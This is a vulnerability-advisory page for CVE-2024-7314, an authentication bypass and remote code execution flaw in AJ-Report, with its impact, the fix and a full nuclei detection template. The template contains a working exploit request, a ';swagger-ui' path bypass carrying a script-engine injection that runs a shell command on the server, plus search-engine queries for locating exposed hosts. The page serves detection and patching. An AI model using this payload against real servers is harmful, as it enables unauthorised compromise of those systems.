HexBrain

Browse / CVEs / CVE-2024-7314

CVE-2024-7314· anji-plus / report· CWE-280

AJ-Report < 1.4.1 - Remote Code Execution

criticalseverity
9.8CVSS score
51.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append ";swagger-ui" to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.

Impact

Unauthenticated attackers can bypass authentication and execute arbitrary Java code on the server through script engine injection, achieving complete system compromise and access to all application data.

Fix

Upgrade to AJ-Report version 1.4.1 or later which includes security fixes.

How to confirm it

Send: POST /dataSetParam/verification;swagger-ui/
Positive when: matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)/ AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7314 -u <target>

The full check
id: CVE-2024-7314

info:
  name: AJ-Report < 1.4.1 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append ";swagger-ui" to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.
  impact: |
    Unauthenticated attackers can bypass authentication and execute arbitrary Java code on the server through script engine injection, achieving complete system compromise and access to all application data.
  remediation: |
    Upgrade to AJ-Report version 1.4.1 or later which includes security fixes.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/aj-report/CNVD-2024-15077
    - https://github.com/yuebusao/AJ-REPORT-EXPLOIT
    - https://xz.aliyun.com/t/14460
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-280
    epss-score: 0.5175
    epss-percentile: 0.98958
    cve-id: CVE-2024-7314
    cpe: cpe:2.3:a:anji-plus:report:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: anji-plus
    product: report
    fofa-query: app="AJ-Report"
    shodan-query: http.title:"AJ-Report"
  tags: cve,cve2024,aj-report,anji-plus,rce,swagger,vkev,vuln

http:
  - raw:
      - |
        POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
          - 'data":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

References

Use this check only on systems you are authorised to test. Where the data comes from